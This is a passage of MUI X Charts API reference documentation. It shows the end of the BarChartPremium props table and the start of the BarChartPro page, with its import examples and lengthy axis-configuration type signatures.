type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool }>` | - | No |  |
| yAxis | `Array<{ axis?: 'y', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool }>` | - | No |  |
| zAxis | `Array<{ colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, id?: string, max?: number, min?: number }>` | - | No |  |
| zoomData | `Array<{ axisId: number \| string, end: number, start: number }>` | - | No |  |
| zoomInteractionConfig | `{ pan?: Array<'drag' \| 'pressAndDrag' \| 'wheel' \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'drag' } \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'pressAndDrag' } \| { allowedDirection?: 'x' \| 'xy' \| 'y', pointerMode?: any, requiredKeys?: Array<string>, type: 'wheel' }>, zoom?: Array<'brush' \| 'doubleTapReset' \| 'pinch' \| 'tapAndDrag' \| 'wheel' \| { pointerMode?: any, requiredKeys?: Array<string>, type: 'wheel' } \| { pointerMode?: any, requiredKeys?: array, type: 'pinch' } \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'tapAndDrag' } \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'doubleTapReset' } \| { pointerMode?: any, requiredKeys?: array, type: 'brush' }> }` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-premium/src/BarChartPremium/BarChartPremium.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-premium/src/BarChartPremium/BarChartPremium.tsx)

---

# Source: https://mui.com/x/api/charts/bar-chart-pro.md

# BarChartPro API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Bars](/x/react-charts/bars/)
- Charts - Export
- Charts - Zoom and pan

## Import

```jsx
import { BarChartPro } from '@mui/x-charts-pro/BarChartPro';
// or
import { BarChartPro } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| series | `Array<object>` | - | Yes |  |
| axisHighlight | `{ x?: 'band' \| 'line' \| 'none', y?: 'band' \| 'line' \| 'none' }` | - | No |  |
| borderRadius | `number` | - | No |  |
| brushConfig | `{ enabled?: bool, preventHighlight?: bool, preventTooltip?: bool }` | - | No |  |
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| dataset | `Array<object>` | - | No |  |
| disableAxisListener | `bool` | `false` | No |  |
| grid | `{ horizontal?: bool, vertical?: bool }` | - | No |  |
| height | `number` | - | No |  |
| hiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'bar' }>` | - | No |  |
| hideLegend | `bool` | - | No |  |
| highlightedAxis | `Array<{ axisId: number \| string, dataIndex: number }>` | - | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialHiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'bar' }>` | - | No |  |
| initialZoom | `Array<{ axisId: number \| string, end: number, start: number }>` | - | No |  |
| layout | `'horizontal' \| 'vertical'` | `'vertical'` | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onAxisClick | `function(event: MouseEvent, data: null \| ChartsAxisData) => void` | - | No |  |
| onHiddenItemsChange | `function(hiddenItems: Array<VisibilityIdentifier>) => void` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
| onHighlightedAxisChange | `function(axisItems: Array<AxisItemIdentifier>) => void` | - | No |  |
| onItemClick | `function(event: React.MouseEvent<SVGElement, MouseEvent>, barItemIdentifier: BarItemIdentifier) => void` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| onZoomChange | `function(zoomData: Array<ZoomData>) => void` | - | No |  |
| renderer | `'svg-batch' \| 'svg-single'` | `'svg-single'` | No |  |
| showToolbar | `bool` | `false` | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| tooltipItem | `{ dataIndex: number, seriesId: number \| string, type: 'bar' }` | - | No |  |
| width | `number` | - | No |  |
| xAxis | `Array<{ axis?: 'x', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| 